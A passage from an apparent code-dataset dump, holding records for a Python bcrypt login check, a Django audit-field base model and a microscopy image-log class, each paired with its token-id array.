4197, 13264, 29889, 18056, 368, 29898, 29946, 29892, 15886, 29889, 12248, 29898, 29916, 29892, 29871, 29941, 8243, 29871, 29906, 12622, 13, 13, 29873, 29943, 974, 13985, 353, 285, 1252, 29943, 473, 386, 29889, 9891, 29898, 29906, 29897, 13, 29873, 29943, 974, 15383, 440, 13985, 353, 285, 1252, 29943, 473, 386, 29889, 672, 440, 29898, 29906, 29897, 13, 13, 1188, 29918, 3972, 353, 5694, 1445, 29889, 11256, 29881, 7382, 29898, 13506, 543, 26828, 29941, 29899, 13715, 29896, 29946, 29899, 1595, 29875, 1159, 13, 2158, 29898, 1188, 29918, 3972, 29897, 13, 2541, 15886, 29889, 7317, 580, 408, 27937, 29901, 13, 1678, 9227, 353, 15886, 29889, 7727, 29889, 2283, 10507, 29898, 1188, 29918, 3972, 29892, 27937, 29889, 4262, 29897, 13, 13, 1678, 285, 2776, 13985, 29892, 285, 15383, 440, 2776, 13985, 353, 2582, 353, 27937, 29889, 3389, 4197, 29873, 29943, 974, 13985, 29892, 260, 29943, 974, 15383, 440, 13985, 2314, 13, 1678, 10876, 29889, 303, 20405, 29889, 3539, 703, 9902, 3583, 29876, 29905, 13264, 29898, 29906, 3892, 29995, 29879, 29905, 29876, 29905, 13264, 12215, 29906, 3892, 29995, 29879, 29905, 29876, 29908, 1273, 313, 29888, 2776, 13985, 29892, 285, 15383, 440, 2776, 13985, 876, 13, 13, 1678, 396, 4443, 29901, 871, 4312, 746, 2599, 263, 334, 7888, 29930, 310, 27937, 29889, 3389, 580, 5717, 29892, 322, 864, 304, 1074, 13, 1678, 396, 1006, 4210, 653, 2582, 639, 29899, 7888, 29889, 13, 1678, 396, 13236, 29889, 1202, 29918, 7727, 29898, 9902, 29897, 13, 13, 1678, 9227, 29889, 23126, 580, 13, 1678, 9227, 29889, 5358, 580, 13, 2 ]
application/src/database_manager/authenticate_user.py
eyardley/CSC648-SoftwareEngineering-Snapster
0
178106
<filename>application/src/database_manager/authenticate_user.py import bcrypt import base64 import hashlib import mysql.connector def authenticate_user(username, password_plain, db): user_authentication_query = ("SELECT user_id, username, password FROM user WHERE username=%s") # query the database for the record of the user try: db.query(user_authentication_query, (username,)) except mysql.connector.Error as err: # print("Internal server error with database: {}".format(err)) # FIXME: log this potentially fatal error # TODO: what other errors could occur with the connection object? error_message = { 'status': 'database_error', 'message': 'Internal database error: {}'.format(err) } return error_message if db.get_row_count() == 0: # the user entered the incorrect username success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message # examine the returned record to validate the user entered credentials for (user_id, username, password) in db.fetchall(): password_entered = password_plain.encode('utf-8') # encode the plain text password entered by the user # apply bcrypt on entered password and compare with value in database if bcrypt.checkpw(base64.b64encode(hashlib.sha256(password_entered).digest()), password.encode('utf-8')): # password is a match, login was successful # success_message = generate_session(user_id, r) success_message = { 'status': 'success', 'login': 'success', 'user_id': user_id } return success_message else: # the user entered the incorrect password success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message
[ 1, 529, 9507, 29958, 6214, 29914, 4351, 29914, 9803, 29918, 12847, 29914, 27218, 403, 29918, 1792, 29889, 2272, 13, 5215, 289, 29883, 4641, 13, 5215, 2967, 29953, 29946, 13, 5215, 6608, 1982, 13, 5215, 5749, 29889, 11958, 2801, 13, 13, 1753, 15585, 403, 29918, 1792, 29898, 6786, 29892, 4800, 29918, 24595, 29892, 4833, 1125, 13, 1678, 1404, 29918, 23055, 29918, 1972, 353, 4852, 6404, 1404, 29918, 333, 29892, 8952, 29892, 4800, 3895, 1404, 5754, 8952, 16328, 29879, 1159, 13, 13, 1678, 396, 2346, 278, 2566, 363, 278, 2407, 310, 278, 1404, 13, 1678, 1018, 29901, 13, 4706, 4833, 29889, 1972, 29898, 1792, 29918, 23055, 29918, 1972, 29892, 313, 6786, 29892, 876, 13, 1678, 5174, 5749, 29889, 11958, 2801, 29889, 2392, 408, 4589, 29901, 13, 4706, 396, 1596, 703, 16491, 1923, 1059, 411, 2566, 29901, 6571, 1642, 4830, 29898, 3127, 876, 13, 4706, 396, 383, 6415, 2303, 29901, 1480, 445, 19998, 18409, 1059, 13, 4706, 396, 14402, 29901, 825, 916, 4436, 1033, 6403, 411, 278, 3957, 1203, 29973, 13, 4706, 1059, 29918, 4906, 353, 426, 13, 9651, 525, 4882, 2396, 525, 9803, 29918, 2704, 742, 13, 9651, 525, 4906, 2396, 525, 16491, 2566, 1059, 29901, 6571, 4286, 4830, 29898, 3127, 29897, 13, 4706, 500, 13, 4706, 736, 1059, 29918, 4906, 13, 13, 1678, 565, 4833, 29889, 657, 29918, 798, 29918, 2798, 580, 1275, 29871, 29900, 29901, 13, 4706, 396, 278, 1404, 7802, 278, 10240, 8952, 13, 4706, 2551, 29918, 4906, 353, 426, 13, 9651, 525, 4882, 2396, 525, 8698, 742, 13, 9651, 525, 7507, 2396, 525, 26061, 742, 13, 4706, 500, 13, 4706, 396, 1596, 877, 25807, 29884, 1676, 1319, 6464, 4218, 491, 1404, 6571, 4286, 4830, 29898, 1792, 29918, 333, 876, 13, 4706, 736, 2551, 29918, 4906, 13, 13, 13, 1678, 396, 25917, 278, 4133, 2407, 304, 12725, 278, 1404, 7802, 16140, 13, 13, 1678, 363, 313, 1792, 29918, 333, 29892, 8952, 29892, 4800, 29897, 297, 4833, 29889, 9155, 497, 7295, 13, 13, 4706, 4800, 29918, 5893, 287, 353, 4800, 29918, 24595, 29889, 12508, 877, 9420, 29899, 29947, 1495, 29871, 396, 19750, 278, 8656, 1426, 4800, 7802, 491, 278, 1404, 13, 13, 4706, 396, 3394, 289, 29883, 4641, 373, 7802, 4800, 322, 7252, 411, 995, 297, 2566, 13, 4706, 565, 289, 29883, 4641, 29889, 3198, 29886, 29893, 29898, 3188, 29953, 29946, 29889, 29890, 29953, 29946, 12508, 29898, 8568, 1982, 29889, 17051, 29906, 29945, 29953, 29898, 5630, 29918, 5893, 287, 467, 7501, 342, 25739, 4800, 29889, 12508, 877, 9420, 29899, 29947, 8785, 29901, 13, 9651, 396, 4800, 338, 263, 1993, 29892, 6464, 471, 9150, 13, 9651, 396, 2551, 29918, 4906, 353, 5706, 29918, 7924, 29898, 1792, 29918, 333, 29892, 364, 29897, 13, 9651, 2551, 29918, 4906, 353, 426, 13, 18884, 525, 4882, 2396, 525, 8698, 742, 13, 18884, 525, 7507, 2396, 525, 8698, 742, 13, 18884, 525, 1792, 29918, 333, 2396, 1404, 29918, 333, 13, 9651, 500, 13, 9651, 736, 2551, 29918, 4906, 13, 4706, 1683, 29901, 13, 9651, 396, 278, 1404, 7802, 278, 10240, 4800, 13, 9651, 2551, 29918, 4906, 353, 426, 13, 18884, 525, 4882, 2396, 525, 8698, 742, 13, 18884, 525, 7507, 2396, 525, 26061, 742, 13, 9651, 500, 13, 9651, 396, 1596, 877, 25807, 29884, 1676, 1319, 6464, 4218, 491, 1404, 6571, 4286, 4830, 29898, 1792, 29918, 333, 876, 13, 9651, 736, 2551, 29918, 4906, 13, 2 ]
helpers/db_helper.py
funsojoba/davent
0
1602155
import uuid from django.db import models def generate_id(): return uuid.uuid4().hex class BaseAbstractModel(models.Model): id = models.CharField( primary_key=True, editable=False, default=generate_id, max_length=70 ) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) created_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="created by", related_name="+", null=True, blank=True, ) updated_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="updated by", related_name="+", null=True, blank=True, ) deleted_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="deleted by", related_name="+", null=True, blank=True, ) class Meta: abstract = True ordering = ("-created_at",) def save(self, actor=None, *args, **kwargs): if not self.pk: self.created_by = actor super(BaseAbstractModel, self).save(*args, **kwargs)
[ 1, 1053, 318, 5416, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 13, 13, 1753, 5706, 29918, 333, 7295, 13, 1678, 736, 318, 5416, 29889, 25118, 29946, 2141, 20970, 13, 13, 13, 1990, 7399, 9118, 3195, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1178, 353, 4733, 29889, 27890, 29898, 13, 4706, 7601, 29918, 1989, 29922, 5574, 29892, 3863, 519, 29922, 8824, 29892, 2322, 29922, 17158, 29918, 333, 29892, 4236, 29918, 2848, 29922, 29955, 29900, 13, 1678, 1723, 13, 1678, 2825, 29918, 271, 353, 4733, 29889, 11384, 3073, 29898, 6921, 29918, 3707, 29918, 1202, 29922, 5574, 29897, 13, 1678, 4784, 29918, 271, 353, 4733, 29889, 11384, 3073, 29898, 6921, 29918, 3707, 29922, 5574, 29897, 13, 13, 1678, 2825, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 11600, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 4784, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 21402, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 11132, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 311, 22742, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 9846, 353, 5852, 13, 4706, 20520, 353, 4852, 29899, 11600, 29918, 271, 613, 29897, 13, 13, 1678, 822, 4078, 29898, 1311, 29892, 11339, 29922, 8516, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 565, 451, 1583, 29889, 20571, 29901, 13, 9651, 1583, 29889, 11600, 29918, 1609, 353, 11339, 13, 4706, 2428, 29898, 5160, 9118, 3195, 29892, 1583, 467, 7620, 10456, 5085, 29892, 3579, 19290, 29897, 13, 2 ]
imlib/imglog.py
sungcheolkim78/py_imlib
0
62170
""" imgLog.py - experimental log for imgFolder initial: 2019-10-04 """ import os import pandas as pd if ('np' not in dir()): import numpy as np from imlib.imgfolder import ImgFolder __author__ = '<NAME> <<EMAIL>>' __version__ = '1.0.0' class ImgLog(ImgFolder): """ imgFolder for channel experiment images """ def __init__(self, dirname, sort=False, debug=False): """ initialization """ super().__init__(dirname, sort=sort, debug=debug) self._logfname = dirname + '/log.xlsx' if not self.loadLog(): self._data['wall1'] = self._image._meta['wall1'] self._data['wall2'] = self._image._meta['wall2'] self._data['isChannel'] = False self._data['range1'] = self._image._meta['range1'] self._data['range2'] = self._image._meta['range2'] self._data['hasRange'] = False self._data['fangle'] = 0. # frame angle self._data['mangle'] = 0. # migration angle self._data['p'] = 0. # pressure self._data['u'] = 0. # longitudinal velocity self._data['mag'] = '40x' # magnification self._data['filter'] = '' # filter self._data['exp'] = 0. # exposure self._data['location'] = '' # location self._data['D'] = 0. # diffusion constant self._data['Pe'] = 0. # Peclet number self._data = self._data.astype( {'D':'float', 'Pe':'float', 'mangle':'float', 'hasRange':'bool', 'isChannel':'bool', 'exp':'float', 'range1':'int', 'range2':'int', 'wall1':'int', 'wall2':'int'}) def __repr__(self): """ show print out message """ msg = super().__repr__() return msg def __getitem__(self, fileID): self._image = super().__getitem__(fileID) p = self._data.at[fileID, 'p'] if isinstance(p, str) and (p.find(',') > -1): p = float(p.replace(',', '.')) self._data.at[fileID, 'p'] = p if isinstance(p, float) or isinstance(p, np.int64): u = 143.9518*p + 44.0784 # TODO in case of condenser chip self._data.at[fileID, 'u'] = u if self._debug: print('... (p, u) = {}, {}'.format(p, u)) self._data.at[fileID, 'exp'] = self._image._meta['exposuretime'] self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=p, fangle=self._data.at[fileID, 'fangle']) return self._image # manage log excel sheet def saveLog(self): """ save log sheet """ with pd.ExcelWriter(self._logfname) as writer: if self._debug: print('... save to {}'.format(self._logfname)) self._data.to_excel(writer) def loadLog(self): """ load log sheet """ if os.path.isfile(self._logfname): if self._debug: print('... load from {}'.format(self._logfname)) self._data = pd.read_excel(self._logfname, index_col=0) return True else: return False # image analysis def set_log(self, colname, values, ranges=[]): """ set log values for specific colname """ if len(ranges) == 0: ranges = range(len(self._data)) for i in ranges: self._data.at[i, colname] = values if self._debug: print('{}: [{}] - {}'.format(i, colname, values)) def detect_channel(self, fileID=-1, show=True): """ find wall information and save in object """ if fileID > -1: self._image = self.getfile(fileID) res = self._image.detect_channel(show=show) if len(res) > 3: self._data.at[self._curidx, 'range1'] = res[2] self._data.at[self._curidx, 'range2'] = res[3] self._data.at[self._curidx, 'hasRange'] = True if len(res) > 1: self._data.at[self._curidx, 'wall1'] = res[0] self._data.at[self._curidx, 'wall2'] = res[1] self._data.at[self._curidx, 'isChannel'] = True if len(res) == 1: self._data.at[self._curidx, 'isChannel'] = False return res def analysis_10x(self, fileID, bfileID=-1, wallinfo=[], p=-1, method='gaussian', update=True, padding=0): """ find angle and diffusion constant in 10x flu. and bright field images """ angle = 0.0 if p > -1: self._data.at[self._curidx, 'p'] = p if len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo print('... fileID: [{}] use wallinfo: {}, ranges: {}'.format(fileID, wallinfo[:2], wallinfo[2:])) else: if bfileID > -1: wallinfo = self.detect_channel(fileID=bfileID) wallinfo[0] = wallinfo[0] + padding wallinfo[1] = wallinfo[1] - padding if len(wallinfo) == 3: self._data.loc[fileID, ['wall1', 'wall2', 'range1']] = wallinfo elif len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo else: print('... no wall. Is this [{}] correct image?'.format(bfileID)) return img = self.__getitem__(bfileID) angle = img.detect_angles(show=False) print('... fileID: [{}] use wallinfo: {}, ranges: {}, frame angle: {}'.format(fileID, wallinfo[:2], wallinfo[2:], angle)) # set image information self._image = self.__getitem__(fileID) self._image.set_wallinfo(self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']]) self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=self._data.at[fileID, 'p'], fangle=self._data.at[fileID, 'fangle']) # calculate peak positions self._image.fitlines_x(method=method, update=update) self._image.showfit_sigmas() self._image.showfit_angles() # save results self._data.at[fileID, 'mangle'] = self._image._meta['mangle'] self._data.at[fileID, 'D'] = self._image._meta['D'] self._data.at[fileID, 'Pe'] = self._image._meta['Pe'] if angle > 0: self._data.at[fileID, 'fangle'] = angle def analysis_all(self, blist, flist, method='gaussian', update=False): """ analaysis migration angle of files in flist with wall info from blist """ if isinstance(blist, int): blist = np.zeros_like(np.array(flist)) + blist for i in range(len(flist)): self.analysis_10x(flist[i], bfileID=blist[i], padding=5, update=update, method=method) self.saveLog() def showinfo(self, colname='mag', condition='10x'): """ show panda data with condition """ return self._data[self._data[colname] == condition] # vim:foldmethod=indent:foldlevel=0
[ 1, 9995, 13, 2492, 3403, 29889, 2272, 448, 17986, 1480, 363, 10153, 12924, 13, 13, 11228, 29901, 29871, 29906, 29900, 29896, 29929, 29899, 29896, 29900, 29899, 29900, 29946, 13, 15945, 29908, 13, 13, 5215, 2897, 13, 5215, 11701, 408, 10518, 13, 13, 361, 6702, 9302, 29915, 451, 297, 4516, 580, 1125, 1053, 12655, 408, 7442, 13, 13, 3166, 527, 1982, 29889, 2492, 12083, 1053, 1954, 29887, 12924, 13, 13, 1649, 8921, 1649, 353, 12801, 5813, 29958, 3532, 26862, 6227, 6778, 29915, 13, 1649, 3259, 1649, 353, 525, 29896, 29889, 29900, 29889, 29900, 29915, 13, 13, 1990, 1954, 29887, 3403, 29898, 25518, 12924, 1125, 13, 1678, 9995, 10153, 12924, 363, 8242, 7639, 4558, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4516, 978, 29892, 2656, 29922, 8824, 29892, 4744, 29922, 8824, 1125, 13, 4706, 9995, 17865, 9995, 13, 13, 4706, 2428, 2141, 1649, 2344, 12035, 25721, 29892, 2656, 29922, 6605, 29892, 4744, 29922, 8382, 29897, 13, 13, 4706, 1583, 3032, 1188, 29888, 978, 353, 4516, 978, 718, 8207, 1188, 29889, 20267, 29916, 29915, 13, 13, 4706, 565, 451, 1583, 29889, 1359, 3403, 7295, 13, 9651, 1583, 3032, 1272, 1839, 11358, 29896, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 11358, 29896, 2033, 13, 9651, 1583, 3032, 1272, 1839, 11358, 29906, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 11358, 29906, 2033, 13, 9651, 1583, 3032, 1272, 1839, 275, 13599, 2033, 353, 7700, 13, 9651, 1583, 3032, 1272, 1839, 3881, 29896, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 3881, 29896, 2033, 13, 9651, 1583, 3032, 1272, 1839, 3881, 29906, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 3881, 29906, 2033, 13, 9651, 1583, 3032, 1272, 1839, 5349, 6069, 2033, 353, 7700, 13, 9651, 1583, 3032, 1272, 1839, 29888, 2521, 2033, 353, 29871, 29900, 29889, 1678, 396, 3515, 10696, 13, 9651, 1583, 3032, 1272, 1839, 29885, 2521, 2033, 353, 29871, 29900, 29889, 1678, 396, 20332, 10696, 13, 9651, 1583, 3032, 1272, 1839, 29886, 2033, 353, 29871, 29900, 29889, 308, 396, 12959, 13, 9651, 1583, 3032, 1272, 1839, 29884, 2033, 353, 29871, 29900, 29889, 308, 396, 25579, 979, 12885, 13, 9651, 1583, 3032, 1272, 1839, 11082, 2033, 353, 525, 29946, 29900, 29916, 29915, 1678, 396, 9119, 2450, 13, 9651, 1583, 3032, 1272, 1839, 4572, 2033, 353, 6629, 1678, 396, 4175, 13, 9651, 1583, 3032, 1272, 1839, 4548, 2033, 353, 29871, 29900, 29889, 539, 396, 14060, 545, 13, 9651, 1583, 3032, 1272, 1839, 5479, 2033, 353, 6629, 29871, 396, 4423, 13, 9651, 1583, 3032, 1272, 1839, 29928, 2033, 353, 29871, 29900, 29889, 308, 396, 23253, 4868, 13, 9651, 1583, 3032, 1272, 1839, 15666, 2033, 353, 29871, 29900, 29889, 4706, 396, 349, 687, 1026, 1353, 13, 13, 4706, 1583, 3032, 1272, 353, 1583, 3032, 1272, 29889, 579, 668, 29898, 13, 18884, 11117, 29928, 22099, 7411, 742, 525, 15666, 22099, 7411, 742, 525, 29885, 2521, 22099, 7411, 742, 13, 462, 1678, 525, 5349, 6069, 22099, 11227, 742, 525, 275, 13599, 22099, 11227, 742, 13, 462, 1678, 525, 4548, 22099, 7411, 742, 525, 3881, 29896, 22099, 524, 742, 525, 3881, 29906, 22099, 524, 742, 13, 462, 1678, 525, 11358, 29896, 22099, 524, 742, 525, 11358, 29906, 22099, 524, 29915, 1800, 13, 13, 1678, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 4706, 9995, 1510, 1596, 714, 2643, 9995, 13, 13, 4706, 10191, 353, 2428, 2141, 1649, 276, 558, 1649, 580, 13, 4706, 736, 10191, 13, 13, 1678, 822, 4770, 657, 667, 12035, 1311, 29892, 934, 1367, 1125, 13, 4706, 1583, 3032, 3027, 353, 2428, 2141, 1649, 657, 667, 12035, 1445, 1367, 29897, 13, 13, 4706, 282, 353, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29886, 2033, 13, 4706, 565, 338, 8758, 29898, 29886, 29892, 851, 29897, 322, 313, 29886, 29889, 2886, 29317, 1495, 1405, 448, 29896, 1125, 13, 9651, 282, 353, 5785, 29898, 29886, 29889, 6506, 29317, 742, 525, 6169, 876, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29886, 2033, 353, 282, 13, 4706, 565, 338, 8758, 29898, 29886, 29892, 5785, 29897, 470, 338, 8758, 29898, 29886, 29892, 7442, 29889, 524, 29953, 29946, 1125, 13, 9651, 318, 353, 29871, 29896, 29946, 29941, 29889, 29929, 29945, 29896, 29947, 29930, 29886, 718, 29871, 29946, 29946, 29889, 29900, 29955, 29947, 29946, 1678, 396, 14402, 297, 1206, 310, 2148, 25594, 29830, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29884, 2033, 353, 318, 13, 9651, 565, 1583, 3032, 8382, 29901, 1596, 877, 856, 313, 29886, 29892, 318, 29897, 353, 24335, 6571, 4286, 4830, 29898, 29886, 29892, 318, 876, 13, 4706, 1583, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 4548, 2033, 353, 1583, 3032, 3027, 3032, 7299, 1839, 735, 1066, 545, 2230, 2033, 13, 13, 4706, 1583, 3032, 3027, 29889, 842, 29918, 4548, 3401, 29898, 29885, 4211, 2450, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 11082, 7464, 13, 18884, 12885, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29884, 7464, 282, 29922, 29886, 29892, 13, 18884, 285, 2521, 29922, 1311, 3032, 1272, 29889, 271, 29961, 1445, 1367, 29892, 525, 29888, 2521, 11287, 13, 13, 4706, 736, 1583, 3032, 3027, 13, 13, 1678, 396, 10933, 1480, 10616, 9869, 13, 13, 1678, 822, 4078, 3403, 29898, 1311, 1125, 13, 4706, 9995, 4078, 1480, 9869, 9995, 13, 13, 4706, 411, 10518, 29889, 22926, 10507, 29898, 1311, 3032, 1188, 29888, 978, 29897, 408, 9227, 29901, 13, 9651, 565, 1583, 3032, 8382, 29901, 1596, 877, 856, 4078, 304, 6571, 4286, 4830, 29898, 1311, 3032, 1188, 29888, 978, 876, 13, 9651, 1583, 3032, 1272, 29889, 517, 29918, 24633, 29898, 13236, 29897, 13, 13, 1678, 822, 2254, 3403, 29898, 1311, 1125, 13, 4706, 9995, 2254, 1480, 9869, 9995, 13, 13, 4706, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 1311, 3032, 1188, 29888, 978, 1125, 13, 9651, 565, 1583, 3032, 8382, 29901, 1596, 877, 856, 2254, 515, 6571, 4286, 4830, 29898, 1311, 3032, 1188, 29888, 978, 876, 13, 9651, 1583, 3032, 1272, 353, 10518, 29889, 949, 29918, 24633, 29898, 1311, 3032, 1188, 29888, 978, 29892, 2380, 29918, 1054, 29922, 29900, 29897, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 13, 1678, 396, 1967, 7418, 13, 1678, 822, 731, 29918, 1188, 29898, 1311, 29892, 784, 978, 29892, 1819, 29892, 20238, 29922, 2636, 1125, 13, 4706, 9995, 731, 1480, 1819, 363, 2702, 784, 978, 9995, 13, 13, 4706, 565, 7431, 29898, 29878, 6916, 29897, 1275, 29871, 29900, 29901, 13, 9651, 20238, 353, 3464, 29898, 2435, 29898, 1311, 3032, 1272, 876, 13, 4706, 363, 474, 297, 20238, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 29875, 29892, 784, 978, 29962, 353, 1819, 13, 9651, 565, 1583, 3032, 8382, 29901, 1596, 877, 29912, 6177, 15974, 6525, 448, 6571, 4286, 4830, 29898, 29875, 29892, 784, 978, 29892, 1819, 876, 13, 13, 1678, 822, 6459, 29918, 12719, 29898, 1311, 29892, 934, 1367, 10457, 29896, 29892, 1510, 29922, 5574, 1125, 13, 4706, 9995, 1284, 10090, 2472, 322, 4078, 297, 1203, 9995, 13, 13, 4706, 565, 934, 1367, 1405, 448, 29896, 29901, 13, 9651, 1583, 3032, 3027, 353, 1583, 29889, 657, 1445, 29898, 1445, 1367, 29897, 13, 4706, 620, 353, 1583, 3032, 3027, 29889, 4801, 522, 29918, 12719, 29898, 4294, 29922, 4294, 29897, 13, 13, 4706, 565, 7431, 29898, 690, 29897, 1405, 29871, 29941, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 3881, 29896, 2033, 353, 620, 29961, 29906, 29962, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 3881, 29906, 2033, 353, 620, 29961, 29941, 29962, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 5349, 6069, 2033, 353, 5852, 13, 4706, 565, 7431, 29898, 690, 29897, 1405, 29871, 29896, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 11358, 29896, 2033, 353, 620, 29961, 29900, 29962, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 11358, 29906, 2033, 353, 620, 29961, 29896, 29962, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 275, 13599, 2033, 353, 5852, 13, 4706, 565, 7431, 29898, 690, 29897, 1275, 29871, 29896, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 275, 13599, 2033, 353, 7700, 13, 13, 4706, 736, 620, 13, 13, 1678, 822, 7418, 29918, 29896, 29900, 29916, 29898, 1311, 29892, 934, 1367, 29892, 289, 1445, 1367, 10457, 29896, 29892, 10090, 3888, 11759, 1402, 282, 10457, 29896, 29892, 1158, 2433, 29887, 17019, 742, 2767, 29922, 5574, 29892, 7164, 29922, 29900, 1125, 13, 4706, 9995, 1284, 10696, 322, 23253, 4868, 297, 29871, 29896, 29900, 29916, 20501, 29889, 322, 11785, 1746, 4558, 9995, 13, 13, 4706, 10696, 353, 29871, 29900, 29889, 29900, 13, 13, 4706, 565, 282, 1405, 448, 29896, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 1311, 3032, 2764, 13140, 29892, 525, 29886, 2033, 353, 282, 13, 13, 4706, 565, 7431, 29898, 11358, 3888, 29897, 1275, 29871, 29946, 29901, 13, 9651, 1583, 3032, 1272, 29889, 2029, 29961, 1445, 1367, 29892, 6024, 11358, 29896, 742, 525, 11358, 29906, 742, 525, 3881, 29896, 742, 525, 3881, 29906, 2033, 29962, 353, 10090, 3888, 13, 9651, 1596, 877, 856, 934, 1367, 29901, 15974, 6525, 671, 10090, 3888, 29901, 24335, 20238, 29901, 6571, 4286, 4830, 29898, 1445, 1367, 29892, 10090, 3888, 7503, 29906, 1402, 10090, 3888, 29961, 29906, 29901, 12622, 13, 4706, 1683, 29901, 13, 9651, 565, 289, 1445, 1367, 1405, 448, 29896, 29901, 13, 18884, 10090, 3888, 353, 1583, 29889, 4801, 522, 29918, 12719, 29898, 1445, 1367, 29922, 29890, 1445, 1367, 29897, 13, 18884, 10090, 3888, 29961, 29900, 29962, 353, 10090, 3888, 29961, 29900, 29962, 718, 7164, 13, 18884, 10090, 3888, 29961, 29896, 29962, 353, 10090, 3888, 29961, 29896, 29962, 448, 7164, 13, 18884, 565, 7431, 29898, 11358, 3888, 29897, 1275, 29871, 29941, 29901, 13, 462, 1678, 1583, 3032, 1272, 29889, 2029, 29961, 1445, 1367, 29892, 6024, 11358, 29896, 742, 525, 11358, 29906, 742, 525, 3881, 29896, 2033, 29962, 353, 10090, 3888, 13, 18884, 25342, 7431, 29898, 11358, 3888, 29897, 1275, 29871, 29946, 29901, 13, 462, 1678, 1583, 3032, 1272, 29889, 2029, 29961, 1445, 1367, 29892, 6024, 11358, 29896, 742, 525, 11358, 29906, 742, 525, 3881, 29896, 742, 525, 3881, 29906, 2033, 29962, 353, 10090, 3888, 13, 18884, 1683, 29901, 13, 462, 1678, 1596, 877, 856, 694, 10090, 29889, 1317, 445, 15974, 6525, 1959, 1967, 29973, 4286, 4830, 29898, 29890, 1445, 1367, 876, 13, 462, 1678, 736, 13, 18884, 10153, 353, 1583, 17255, 657, 667, 12035, 29890, 1445, 1367, 29897, 13, 18884, 10696, 353, 10153, 29889, 4801, 522, 29918, 19536, 29898, 4294, 29922, 8824, 29897, 13, 9651, 1596, 877, 856, 934, 1367, 29901, 15974, 6525, 671, 10090, 3888, 29901, 24335, 20238, 29901, 24335, 3515, 10696, 29901, 6571, 4286, 4830, 29898, 1445, 1367, 29892, 10090, 3888, 7503, 29906, 1402, 10090, 3888, 29961, 29906, 29901, 1402, 10696, 876, 13, 13, 4706, 396, 731, 1967, 2472, 13, 4706, 1583, 3032, 3027, 353, 1583, 17255, 657, 667, 12035, 1445, 1367, 29897, 13, 4706, 1583, 3032, 3027, 29889, 842, 29918, 11358, 3888, 29898, 1311, 3032, 1272, 29889, 2029, 29961, 1445, 1367, 29892, 6024, 11358, 29896, 742, 525, 11358, 29906, 742, 525, 3881, 29896, 742, 525, 3881, 29906, 2033, 2314, 13, 4706, 1583, 3032, 3027, 29889, 842, 29918, 4548, 3401, 29898, 29885, 4211, 2450, 29922, 1311, 3032, 1272, 29889, 271, 29961, 